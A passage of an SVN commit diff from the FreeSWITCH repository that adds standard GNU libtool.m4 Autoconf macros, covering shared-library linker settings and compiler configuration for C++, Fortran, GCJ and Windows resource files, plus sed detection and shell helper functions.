+	  _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+      esac
+      ;;
+
+      sysv5* | sco3.2v5* | sco5v6*)
+	# Note: We can NOT use -z defs as we might desire, because we do not
+	# link with -lc, and that would cause any symbols used from libc to
+	# always be unresolved, which means just about no library would
+	# ever link correctly.  If we're not using GNU ld we use -z text
+	# though, which does catch some bad symbols but isn't as heavy-handed
+	# as -z defs.
+	_LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
+	_LT_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
+	_LT_TAGVAR(archive_cmds_need_lc, $1)=no
+	_LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+	_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R,$libdir'
+	_LT_TAGVAR(hardcode_libdir_separator, $1)=':'
+	_LT_TAGVAR(link_all_deplibs, $1)=yes
+	_LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport'
+	runpath_var='LD_RUN_PATH'
+
+	case $cc_basename in
+          CC*)
+	    _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	    _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	    ;;
+	  *)
+	    _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	    _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	    ;;
+	esac
+      ;;
+
+      tandem*)
+        case $cc_basename in
+          NCC*)
+  	    # NonStop-UX NCC 3.20
+  	    # FIXME: insert proper C++ library support
+  	    _LT_TAGVAR(ld_shlibs, $1)=no
+  	    ;;
+          *)
+  	    # FIXME: insert proper C++ library support
+  	    _LT_TAGVAR(ld_shlibs, $1)=no
+  	    ;;
+        esac
+        ;;
+
+      vxworks*)
+        # FIXME: insert proper C++ library support
+        _LT_TAGVAR(ld_shlibs, $1)=no
+        ;;
+
+      *)
+        # FIXME: insert proper C++ library support
+        _LT_TAGVAR(ld_shlibs, $1)=no
+        ;;
+    esac
+
+    AC_MSG_RESULT([$_LT_TAGVAR(ld_shlibs, $1)])
+    test "$_LT_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
+
+    _LT_TAGVAR(GCC, $1)="$GXX"
+    _LT_TAGVAR(LD, $1)="$LD"
+
+    ## CAVEAT EMPTOR:
+    ## There is no encapsulation within the following macros, do not change
+    ## the running order or otherwise move them around unless you know exactly
+    ## what you are doing...
+    _LT_SYS_HIDDEN_LIBDEPS($1)
+    _LT_COMPILER_PIC($1)
+    _LT_COMPILER_C_O($1)
+    _LT_COMPILER_FILE_LOCKS($1)
+    _LT_LINKER_SHLIBS($1)
+    _LT_SYS_DYNAMIC_LINKER($1)
+    _LT_LINKER_HARDCODE_LIBPATH($1)
+
+    _LT_CONFIG($1)
+  fi # test -n "$compiler"
+
+  CC=$lt_save_CC
+  LDCXX=$LD
+  LD=$lt_save_LD
+  GCC=$lt_save_GCC
+  with_gnu_ld=$lt_save_with_gnu_ld
+  lt_cv_path_LDCXX=$lt_cv_path_LD
+  lt_cv_path_LD=$lt_save_path_LD
+  lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld
+  lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld
+fi # test "$_lt_caught_CXX_error" != yes
+
+AC_LANG_POP
+])# _LT_LANG_CXX_CONFIG
+
+
+# _LT_SYS_HIDDEN_LIBDEPS([TAGNAME])
+# ---------------------------------
+# Figure out "hidden" library dependencies from verbose
+# compiler output when linking a shared library.
+# Parse the compiler output and extract the necessary
+# objects, libraries and library flags.
+m4_defun([_LT_SYS_HIDDEN_LIBDEPS],
+[m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+# Dependencies to place before and after the object being linked:
+_LT_TAGVAR(predep_objects, $1)=
+_LT_TAGVAR(postdep_objects, $1)=
+_LT_TAGVAR(predeps, $1)=
+_LT_TAGVAR(postdeps, $1)=
+_LT_TAGVAR(compiler_lib_search_path, $1)=
+
+dnl we can't use the lt_simple_compile_test_code here,
+dnl because it contains code intended for an executable,
+dnl not a library.  It's possible we should let each
+dnl tag define a new lt_????_link_test_code variable,
+dnl but it's only used here...
+m4_if([$1], [], [cat > conftest.$ac_ext <<_LT_EOF
+int a;
+void foo (void) { a = 0; }
+_LT_EOF
+], [$1], [CXX], [cat > conftest.$ac_ext <<_LT_EOF
+class Foo
+{
+public:
+  Foo (void) { a = 0; }
+private:
+  int a;
+};
+_LT_EOF
+], [$1], [F77], [cat > conftest.$ac_ext <<_LT_EOF
+      subroutine foo
+      implicit none
+      integer*4 a
+      a=0
+      return
+      end
+_LT_EOF
+], [$1], [FC], [cat > conftest.$ac_ext <<_LT_EOF
+      subroutine foo
+      implicit none
+      integer a
+      a=0
+      return
+      end
+_LT_EOF
+], [$1], [GCJ], [cat > conftest.$ac_ext <<_LT_EOF
+public class foo {
+  private int a;
+  public void bar (void) {
+    a = 0;
+  }
+};
+_LT_EOF
+])
+dnl Parse the compiler output and extract the necessary
+dnl objects, libraries and library flags.
+if AC_TRY_EVAL(ac_compile); then
+  # Parse the compiler output and extract the necessary
+  # objects, libraries and library flags.
+
+  # Sentinel used to keep track of whether or not we are before
+  # the conftest object file.
+  pre_test_object_deps_done=no
+
+  # The `*' in the case matches for architectures that use `case' in
+  # $output_verbose_cmd can trigger glob expansion during the loop
+  # eval without this substitution.
+  output_verbose_link_cmd=`$ECHO "X$output_verbose_link_cmd" | $Xsed -e "$no_glob_subst"`
+
+  for p in `eval $output_verbose_link_cmd`; do
+    case $p in
+
+    -L* | -R* | -l*)
+       # Some compilers place space between "-{L,R}" and the path.
+       # Remove the space.
+       if test $p = "-L" ||
+          test $p = "-R"; then
+	 prev=$p
+	 continue
+       else
+	 prev=
+       fi
+
+       if test "$pre_test_object_deps_done" = no; then
+	 case $p in
+	 -L* | -R*)
+	   # Internal compiler library paths should come after those
+	   # provided the user.  The postdeps already come after the
+	   # user supplied libs so there is no need to process them.
+	   if test -z "$_LT_TAGVAR(compiler_lib_search_path, $1)"; then
+	     _LT_TAGVAR(compiler_lib_search_path, $1)="${prev}${p}"
+	   else
+	     _LT_TAGVAR(compiler_lib_search_path, $1)="${_LT_TAGVAR(compiler_lib_search_path, $1)} ${prev}${p}"
+	   fi
+	   ;;
+	 # The "-l" case would never come before the object being
+	 # linked, so don't bother handling this case.
+	 esac
+       else
+	 if test -z "$_LT_TAGVAR(postdeps, $1)"; then
+	   _LT_TAGVAR(postdeps, $1)="${prev}${p}"
+	 else
+	   _LT_TAGVAR(postdeps, $1)="${_LT_TAGVAR(postdeps, $1)} ${prev}${p}"
+	 fi
+       fi
+       ;;
+
+    *.$objext)
+       # This assumes that the test object file only shows up
+       # once in the compiler output.
+       if test "$p" = "conftest.$objext"; then
+	 pre_test_object_deps_done=yes
+	 continue
+       fi
+
+       if test "$pre_test_object_deps_done" = no; then
+	 if test -z "$_LT_TAGVAR(predep_objects, $1)"; then
+	   _LT_TAGVAR(predep_objects, $1)="$p"
+	 else
+	   _LT_TAGVAR(predep_objects, $1)="$_LT_TAGVAR(predep_objects, $1) $p"
+	 fi
+       else
+	 if test -z "$_LT_TAGVAR(postdep_objects, $1)"; then
+	   _LT_TAGVAR(postdep_objects, $1)="$p"
+	 else
+	   _LT_TAGVAR(postdep_objects, $1)="$_LT_TAGVAR(postdep_objects, $1) $p"
+	 fi
+       fi
+       ;;
+
+    *) ;; # Ignore the rest.
+
+    esac
+  done
+
+  # Clean up.
+  rm -f a.out a.exe
+else
+  echo "libtool.m4: error: problem compiling $1 test program"
+fi
+
+$RM -f confest.$objext
+
+# PORTME: override above test on systems where it is broken
+m4_if([$1], [CXX],
+[case $host_os in
+interix3*)
+  # Interix 3.5 installs completely hosed .la files for C++, so rather than
+  # hack all around it, let's just trust "g++" to DTRT.
+  _LT_TAGVAR(predep_objects,$1)=
+  _LT_TAGVAR(postdep_objects,$1)=
+  _LT_TAGVAR(postdeps,$1)=
+  ;;
+
+solaris*)
+  case $cc_basename in
+  CC*)
+    # Adding this requires a known-good setup of shared libraries for
+    # Sun compiler versions before 5.6, else PIC objects from an old
+    # archive will be linked into the output, leading to subtle bugs.
+    _LT_TAGVAR(postdeps,$1)='-lCstd -lCrun'
+    ;;
+  esac
+  ;;
+esac
+])
+
+case " $_LT_TAGVAR(postdeps, $1) " in
+*" -lc "*) _LT_TAGVAR(archive_cmds_need_lc, $1)=no ;;
+esac
+_LT_TAGDECL([], [predep_objects], [1],
+    [Dependencies to place before and after the objects being linked to
+    create a shared library])
+_LT_TAGDECL([], [postdep_objects], [1])
+_LT_TAGDECL([], [predeps], [1])
+_LT_TAGDECL([], [postdeps], [1])
+_LT_TAGDECL([], [compiler_lib_search_path], [1],
+    [The library search path used internally by the compiler when linking
+    a shared library])
+])# _LT_SYS_HIDDEN_LIBDEPS
+
+
+# _LT_PROG_F77
+# ------------
+# Since AC_PROG_F77 is broken, in that it returns the empty string
+# if there is no fortran compiler, we have our own version here.
+m4_defun([_LT_PROG_F77],
+[
+pushdef([AC_MSG_ERROR], [_lt_disable_F77=yes])
+AC_PROG_F77
+if test -z "$F77" || test "X$F77" = "Xno"; then
+  _lt_disable_F77=yes
+fi
+popdef([AC_MSG_ERROR])
+])# _LT_PROG_F77
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([_LT_PROG_F77], [])
+
+
+# _LT_LANG_F77_CONFIG([TAG])
+# --------------------------
+# Ensure that the configuration variables for a Fortran 77 compiler are
+# suitably defined.  These variables are subsequently used by _LT_CONFIG
+# to write the compiler configuration to `libtool'.
+m4_defun([_LT_LANG_F77_CONFIG],
+[AC_REQUIRE([_LT_PROG_F77])dnl
+AC_LANG_PUSH(Fortran 77)
+
+_LT_TAGVAR(archive_cmds_need_lc, $1)=no
+_LT_TAGVAR(allow_undefined_flag, $1)=
+_LT_TAGVAR(always_export_symbols, $1)=no
+_LT_TAGVAR(archive_expsym_cmds, $1)=
+_LT_TAGVAR(export_dynamic_flag_spec, $1)=
+_LT_TAGVAR(hardcode_direct, $1)=no
+_LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
+_LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
+_LT_TAGVAR(hardcode_libdir_separator, $1)=
+_LT_TAGVAR(hardcode_minus_L, $1)=no
+_LT_TAGVAR(hardcode_automatic, $1)=no
+_LT_TAGVAR(inherit_rpath, $1)=no
+_LT_TAGVAR(module_cmds, $1)=
+_LT_TAGVAR(module_expsym_cmds, $1)=
+_LT_TAGVAR(link_all_deplibs, $1)=unknown
+_LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
+_LT_TAGVAR(no_undefined_flag, $1)=
+_LT_TAGVAR(whole_archive_flag_spec, $1)=
+_LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no
+
+# Source file extension for f77 test sources.
+ac_ext=f
+
+# Object file extension for compiled f77 test sources.
+objext=o
+_LT_TAGVAR(objext, $1)=$objext
+
+# No sense in running all these tests if we already determined that
+# the F77 compiler isn't working.  Some variables (like enable_shared)
+# are currently assumed to apply to all compilers on this platform,
+# and will be corrupted by setting them based on a non-working compiler.
+if test "$_lt_disable_F77" != yes; then
+  # Code to be used in simple compile tests
+  lt_simple_compile_test_code="      subroutine t\n      return\n      end\n"
+
+  # Code to be used in simple link tests
+  lt_simple_link_test_code="      program t\n      end\n"
+
+  # ltmain only uses $CC for tagged configurations so make sure $CC is set.
+  _LT_TAG_COMPILER
+
+  # save warnings/boilerplate of simple test code
+  _LT_COMPILER_BOILERPLATE
+  _LT_LINKER_BOILERPLATE
+
+  # Allow CC to be a program name with arguments.
+  lt_save_CC="$CC"
+  CC=${F77-"f77"}
+  compiler=$CC
+  _LT_TAGVAR(compiler, $1)=$CC
+  _LT_CC_BASENAME([$compiler])
+
+  if test -n "$compiler"; then
+    AC_MSG_CHECKING([if libtool supports shared libraries])
+    AC_MSG_RESULT([$can_build_shared])
+
+    AC_MSG_CHECKING([whether to build shared libraries])
+    test "$can_build_shared" = "no" && enable_shared=no
+
+    # On AIX, shared libraries and static libraries use the same namespace, and
+    # are all built from PIC.
+    case $host_os in
+      aix3*)
+        test "$enable_shared" = yes && enable_static=no
+        if test -n "$RANLIB"; then
+          archive_cmds="$archive_cmds~\$RANLIB \$lib"
+          postinstall_cmds='$RANLIB $lib'
+        fi
+        ;;
+      aix4* | aix5*)
+	if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
+	  test "$enable_shared" = yes && enable_static=no
+	fi
+        ;;
+    esac
+    AC_MSG_RESULT([$enable_shared])
+
+    AC_MSG_CHECKING([whether to build static libraries])
+    # Make sure either enable_shared or enable_static is yes.
+    test "$enable_shared" = yes || enable_static=yes
+    AC_MSG_RESULT([$enable_static])
+
+    _LT_TAGVAR(GCC, $1)="$G77"
+    _LT_TAGVAR(LD, $1)="$LD"
+
+    ## CAVEAT EMPTOR:
+    ## There is no encapsulation within the following macros, do not change
+    ## the running order or otherwise move them around unless you know exactly
+    ## what you are doing...
+    _LT_COMPILER_PIC($1)
+    _LT_COMPILER_C_O($1)
+    _LT_COMPILER_FILE_LOCKS($1)
+    _LT_LINKER_SHLIBS($1)
+    _LT_SYS_DYNAMIC_LINKER($1)
+    _LT_LINKER_HARDCODE_LIBPATH($1)
+
+    _LT_CONFIG($1)
+  fi # test -n "$compiler"
+
+  CC="$lt_save_CC"
+fi # test "$_lt_disable_F77" != yes
+
+AC_LANG_POP
+])# _LT_LANG_F77_CONFIG
+
+
+# _LT_PROG_FC
+# -----------
+# Since AC_PROG_FC is broken, in that it returns the empty string
+# if there is no fortran compiler, we have our own version here.
+m4_defun([_LT_PROG_FC],
+[
+pushdef([AC_MSG_ERROR], [_lt_disable_FC=yes])
+AC_PROG_FC
+if test -z "$FC" || test "X$FC" = "Xno"; then
+  _lt_disable_FC=yes
+fi
+popdef([AC_MSG_ERROR])
+])# _LT_PROG_FC
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([_LT_PROG_FC], [])
+
+
+# _LT_LANG_FC_CONFIG([TAG])
+# -------------------------
+# Ensure that the configuration variables for a Fortran compiler are
+# suitably defined.  These variables are subsequently used by _LT_CONFIG
+# to write the compiler configuration to `libtool'.
+m4_defun([_LT_LANG_FC_CONFIG],
+[AC_REQUIRE([_LT_PROG_FC])dnl
+AC_LANG_PUSH(Fortran)
+
+_LT_TAGVAR(archive_cmds_need_lc, $1)=no
+_LT_TAGVAR(allow_undefined_flag, $1)=
+_LT_TAGVAR(always_export_symbols, $1)=no
+_LT_TAGVAR(archive_expsym_cmds, $1)=
+_LT_TAGVAR(export_dynamic_flag_spec, $1)=
+_LT_TAGVAR(hardcode_direct, $1)=no
+_LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
+_LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
+_LT_TAGVAR(hardcode_libdir_separator, $1)=
+_LT_TAGVAR(hardcode_minus_L, $1)=no
+_LT_TAGVAR(hardcode_automatic, $1)=no
+_LT_TAGVAR(inherit_rpath, $1)=no
+_LT_TAGVAR(module_cmds, $1)=
+_LT_TAGVAR(module_expsym_cmds, $1)=
+_LT_TAGVAR(link_all_deplibs, $1)=unknown
+_LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
+_LT_TAGVAR(no_undefined_flag, $1)=
+_LT_TAGVAR(whole_archive_flag_spec, $1)=
+_LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no
+
+# Source file extension for fc test sources.
+ac_ext=${ac_fc_srcext-f}
+
+# Object file extension for compiled fc test sources.
+objext=o
+_LT_TAGVAR(objext, $1)=$objext
+
+# No sense in running all these tests if we already determined that
+# the FC compiler isn't working.  Some variables (like enable_shared)
+# are currently assumed to apply to all compilers on this platform,
+# and will be corrupted by setting them based on a non-working compiler.
+if test "$_lt_disable_FC" != yes; then
+  # Code to be used in simple compile tests
+  lt_simple_compile_test_code="      subroutine t\n      return\n      end\n"
+
+  # Code to be used in simple link tests
+  lt_simple_link_test_code="      program t\n      end\n"
+
+  # ltmain only uses $CC for tagged configurations so make sure $CC is set.
+  _LT_TAG_COMPILER
+
+  # save warnings/boilerplate of simple test code
+  _LT_COMPILER_BOILERPLATE
+  _LT_LINKER_BOILERPLATE
+
+  # Allow CC to be a program name with arguments.
+  lt_save_CC="$CC"
+  CC=${FC-"f95"}
+  compiler=$CC
+  _LT_TAGVAR(compiler, $1)=$CC
+  _LT_CC_BASENAME([$compiler])
+
+  if test -n "$compiler"; then
+    AC_MSG_CHECKING([if libtool supports shared libraries])
+    AC_MSG_RESULT([$can_build_shared])
+
+    AC_MSG_CHECKING([whether to build shared libraries])
+    test "$can_build_shared" = "no" && enable_shared=no
+
+    # On AIX, shared libraries and static libraries use the same namespace, and
+    # are all built from PIC.
+    case $host_os in
+      aix3*)
+        test "$enable_shared" = yes && enable_static=no
+        if test -n "$RANLIB"; then
+          archive_cmds="$archive_cmds~\$RANLIB \$lib"
+          postinstall_cmds='$RANLIB $lib'
+        fi
+        ;;
+      aix4* | aix5*)
+	if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
+	  test "$enable_shared" = yes && enable_static=no
+	fi
+        ;;
+    esac
+    AC_MSG_RESULT([$enable_shared])
+
+    AC_MSG_CHECKING([whether to build static libraries])
+    # Make sure either enable_shared or enable_static is yes.
+    test "$enable_shared" = yes || enable_static=yes
+    AC_MSG_RESULT([$enable_static])
+
+    _LT_TAGVAR(GCC, $1)="$ac_cv_fc_compiler_gnu"
+    _LT_TAGVAR(LD, $1)="$LD"
+
+    ## CAVEAT EMPTOR:
+    ## There is no encapsulation within the following macros, do not change
+    ## the running order or otherwise move them around unless you know exactly
+    ## what you are doing...
+    _LT_SYS_HIDDEN_LIBDEPS($1)
+    _LT_COMPILER_PIC($1)
+    _LT_COMPILER_C_O($1)
+    _LT_COMPILER_FILE_LOCKS($1)
+    _LT_LINKER_SHLIBS($1)
+    _LT_SYS_DYNAMIC_LINKER($1)
+    _LT_LINKER_HARDCODE_LIBPATH($1)
+
+    _LT_CONFIG($1)
+  fi # test -n "$compiler"
+
+  CC="$lt_save_CC"
+fi # test "$_lt_disable_FC" != yes
+
+AC_LANG_POP
+])# _LT_LANG_FC_CONFIG
+
+
+# _LT_LANG_GCJ_CONFIG([TAG])
+# --------------------------
+# Ensure that the configuration variables for the GNU Java Compiler compiler
+# are suitably defined.  These variables are subsequently used by _LT_CONFIG
+# to write the compiler configuration to `libtool'.
+m4_defun([_LT_LANG_GCJ_CONFIG],
+[AC_REQUIRE([LT_PROG_GCJ])dnl
+AC_LANG_SAVE
+
+# Source file extension for Java test sources.
+ac_ext=java
+
+# Object file extension for compiled Java test sources.
+objext=o
+_LT_TAGVAR(objext, $1)=$objext
+
+# Code to be used in simple compile tests
+lt_simple_compile_test_code="class foo {}\n"
+
+# Code to be used in simple link tests
+lt_simple_link_test_code='public class conftest { public static void main(String[[]] argv) {}; }\n'
+
+# ltmain only uses $CC for tagged configurations so make sure $CC is set.
+_LT_TAG_COMPILER
+
+# save warnings/boilerplate of simple test code
+_LT_COMPILER_BOILERPLATE
+_LT_LINKER_BOILERPLATE
+
+# Allow CC to be a program name with arguments.
+lt_save_CC="$CC"
+CC=${GCJ-"gcj"}
+compiler=$CC
+_LT_TAGVAR(compiler, $1)=$CC
+_LT_CC_BASENAME([$compiler])
+
+# GCJ did not exist at the time GCC didn't implicitly link libc in.
+_LT_TAGVAR(archive_cmds_need_lc, $1)=no
+
+_LT_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
+
+## CAVEAT EMPTOR:
+## There is no encapsulation within the following macros, do not change
+## the running order or otherwise move them around unless you know exactly
+## what you are doing...
+if test -n "$compiler"; then
+  _LT_COMPILER_NO_RTTI($1)
+  _LT_COMPILER_PIC($1)
+  _LT_COMPILER_C_O($1)
+  _LT_COMPILER_FILE_LOCKS($1)
+  _LT_LINKER_SHLIBS($1)
+  _LT_SYS_DYNAMIC_LINKER($1)
+  _LT_LINKER_HARDCODE_LIBPATH($1)
+
+  _LT_CONFIG($1)
+fi
+
+AC_LANG_RESTORE
+CC="$lt_save_CC"
+])# _LT_LANG_GCJ_CONFIG
+
+
+# _LT_LANG_RC_CONFIG([TAG])
+# -------------------------
+# Ensure that the configuration variables for the Windows resource compiler
+# are suitably defined.  These variables are subsequently used by _LT_CONFIG
+# to write the compiler configuration to `libtool'.
+m4_defun([_LT_LANG_RC_CONFIG],
+[AC_REQUIRE([LT_PROG_RC])dnl
+AC_LANG_SAVE
+
+# Source file extension for RC test sources.
+ac_ext=rc
+
+# Object file extension for compiled RC test sources.
+objext=o
+_LT_TAGVAR(objext, $1)=$objext
+
+# Code to be used in simple compile tests
+lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }\n'
+
+# Code to be used in simple link tests
+lt_simple_link_test_code="$lt_simple_compile_test_code"
+
+# ltmain only uses $CC for tagged configurations so make sure $CC is set.
+_LT_TAG_COMPILER
+
+# save warnings/boilerplate of simple test code
+_LT_COMPILER_BOILERPLATE
+_LT_LINKER_BOILERPLATE
+
+# Allow CC to be a program name with arguments.
+lt_save_CC="$CC"
+CC=${RC-"windres"}
+compiler=$CC
+_LT_TAGVAR(compiler, $1)=$CC
+_LT_CC_BASENAME([$compiler])
+_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes
+
+if test -n "$compiler"; then
+  :
+  _LT_CONFIG($1)
+fi
+
+AC_LANG_RESTORE
+CC="$lt_save_CC"
+])# _LT_LANG_RC_CONFIG
+
+
+# LT_PROG_GCJ
+# -----------
+AC_DEFUN([LT_PROG_GCJ],
+[m4_ifdef([AC_PROG_GCJ], [AC_PROG_GCJ],
+  [m4_ifdef([A][M_PROG_GCJ], [A][M_PROG_GCJ],
+    [AC_CHECK_TOOL(GCJ, gcj,)
+      test "x${GCJFLAGS+set}" = xset || GCJFLAGS="-g -O2"
+      AC_SUBST(GCJFLAGS)])])dnl
+])
+
+# Old name:
+AU_ALIAS([LT_AC_PROG_GCJ], [LT_PROG_GCJ])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([LT_AC_PROG_GCJ], [])
+
+
+# LT_PROG_RC
+# ----------
+AC_DEFUN([LT_PROG_RC],
+[AC_CHECK_TOOL(RC, windres,)
+])
+
+# Old name:
+AU_ALIAS([LT_AC_PROG_RC], [LT_PROG_RC])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([LT_AC_PROG_RC], [])
+
+
+# _LT_DECL_EGREP
+# --------------
+# If we don't have a new enough Autoconf to choose the best grep
+# available, choose the one first in the user's PATH.
+m4_defun([_LT_DECL_EGREP],
+[AC_REQUIRE([AC_PROG_EGREP])dnl
+AC_REQUIRE([AC_PROG_FGREP])dnl
+test -z "$GREP" && GREP=grep
+_LT_DECL([], [GREP], [1], [A grep program that handles long lines])
+_LT_DECL([], [EGREP], [1], [An ERE matcher])
+_LT_DECL([], [FGREP], [1], [A literal string matcher])
+dnl Non-bleeding-edge autoconf doesn't subst GREP, so do it here too
+AC_SUBST([GREP])
+])
+
+
+# _LT_DECL_SED
+# ------------
+# Check for a fully-functional sed program, that truncates
+# as few characters as possible.  Prefer GNU sed if found.
+m4_defun([_LT_DECL_SED],
+[AC_PROG_SED
+test -z "$SED" && SED=sed
+_LT_DECL([], [SED], [1], [A sed program that does not truncate output])
+_LT_DECL([], [Xsed], ["\$SED -e 1s/^X//"],
+    [Sed that helps us avoid accidentally triggering echo(1) options like -n])
+])# _LT_DECL_SED
+
+m4_ifndef([AC_PROG_SED], [
+############################################################
+# NOTE: This macro has been submitted for inclusion into   #
+#  GNU Autoconf as AC_PROG_SED.  When it is available in   #
+#  a released version of Autoconf we should remove this    #
+#  macro and use it instead.                               #
+############################################################
+
+AC_DEFUN([AC_PROG_SED],
+[AC_MSG_CHECKING([for a sed that does not truncate output])
+AC_CACHE_VAL(lt_cv_path_SED,
+[# Loop through the user's path and test for sed and gsed.
+# Then use that list of sed's as ones to test for truncation.
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for lt_ac_prog in sed gsed; do
+    for ac_exec_ext in '' $ac_executable_extensions; do
+      if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then
+        lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext"
+      fi
+    done
+  done
+done
+lt_ac_max=0
+lt_ac_count=0
+# Add /usr/xpg4/bin/sed as it is typically found on Solaris
+# along with /bin/sed that truncates output.
+for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do
+  test ! -f $lt_ac_sed && continue
+  cat /dev/null > conftest.in
+  lt_ac_count=0
+  echo $ECHO_N "0123456789$ECHO_C" >conftest.in
+  # Check for GNU sed and select it if it is found.
+  if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then
+    lt_cv_path_SED=$lt_ac_sed
+    break
+  fi
+  while true; do
+    cat conftest.in conftest.in >conftest.tmp
+    mv conftest.tmp conftest.in
+    cp conftest.in conftest.nl
+    echo >>conftest.nl
+    $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break
+    cmp -s conftest.out conftest.nl || break
+    # 10000 chars as input seems more than enough
+    test $lt_ac_count -gt 10 && break
+    lt_ac_count=`expr $lt_ac_count + 1`
+    if test $lt_ac_count -gt $lt_ac_max; then
+      lt_ac_max=$lt_ac_count
+      lt_cv_path_SED=$lt_ac_sed
+    fi
+  done
+done
+])
+SED=$lt_cv_path_SED
+AC_SUBST([SED])
+AC_MSG_RESULT([$SED])
+])#AC_PROG_SED
+])#m4_ifndef
+
+
+# _LT_CHECK_XSI_SHELL
+# -------------------
+# define func_basename as either Bourne or XSI compatible
+m4_defun([_LT_CHECK_XSI_SHELL],
+[AC_MSG_CHECKING([whether the shell understands some XSI constructs])
+# Try some XSI features
+xsi_shell=no
+( _lt_dummy="a/b/c"
+  test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+      = c,a/b,, ) >/dev/null 2>&1 \
+  && xsi_shell=yes
+AC_MSG_RESULT([$xsi_shell])
+_LT_CONFIG_LIBTOOL_INIT([xsi_shell='$xsi_shell'])
+])# _LT_CHECK_XSI_SHELL
+
+
+# _LT_PROG_XSI_SHELLFNS
+# ---------------------
+# Bourne and XSI compatible variants of some useful shell functions.
+m4_defun([_LT_PROG_XSI_SHELLFNS],
+[case $xsi_shell in
+  yes)
+    cat << \_LT_EOF >> "$cfgfile"
+# func_dirname file append nondir_replacement
+# Compute the dirname of FILE.  If nonempty, add APPEND to the result,
+# otherwise set result to NONDIR_REPLACEMENT.
+func_dirname ()
+{
+  case ${1} in
+    */*) func_dirname_result="${1%/*}${2}" ;;
+    *  ) func_dirname_result="${3}" ;;
+  esac
+}
+
+# func_basename file
+func_basename ()
+{
+  func_basename_result="${1##*/}"
+}
+
+# func_stripname prefix suffix name
+# strip PREFIX and SUFFIX off of NAME.
+# PREFIX and SUFFIX must not contain globbing or regex special
+# characters, hashes, percent signs, but SUFFIX may contain a leading
+# dot (in which case that matches only a dot).
+func_stripname ()
+{
+  # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+  # positional parameters, so assign one to ordinary parameter first.
+  func_stripname_result=${3}
+  func_stripname_result=${func_stripname_result#"${1}"}
+  func_stripname_result=${func_stripname_result%"${2}"}
+}
+_LT_EOF
+    ;;
+  *) # Bourne compatible functions.
+    cat << \_LT_EOF >> "$cfgfile"
+# func_dirname file append nondir_replacement
+# Compute the dirname of FILE.  If nonempty, add APPEND to the result,
+# otherwise set result to NONDIR_REPLACEMENT.
+func_dirname ()
+{
+  # Extract subdirectory from the argument.
+  func_dirname_result=`$ECHO "X${1}" | $Xsed -e "$dirname"`
+  if test "X$func_dirname_result" = "X${1}"; then
+    func_dirname_result="${3}"
+  else
+    func_dirname_result="$func_dirname_result${2}"
+  fi
+}
+
+# func_basename file
+func_basename ()
+{
+  func_basename_result=`$ECHO "X${1}" | $Xsed -e "$basename"`
+}
+
+# func_stripname prefix suffix name
+# strip PREFIX and SUFFIX off of NAME.
+# PREFIX and SUFFIX must not contain globbing or regex special
+# characters, hashes, percent signs, but SUFFIX may contain a leading
+# dot (in which case that matches only a dot).
+# func_strip_suffix prefix name
+func_stripname ()
+{
+  case ${2} in
+    .*) func_stripname_result=`$ECHO "X${3}" \
+           | $Xsed -e "s%^${1}%%" -e "s%\\\\${2}\$%%"`;;
+    *)  func_stripname_result=`$ECHO "X${3}" \
+           | $Xsed -e "s%^${1}%%" -e "s%${2}\$%%"`;;
+  esac
+}
+_LT_EOF
+esac
+])

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltoptions.m4

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltoptions.m4 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/m4/ltoptions.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/m4/ltoptions.m4	                        (rev 0)
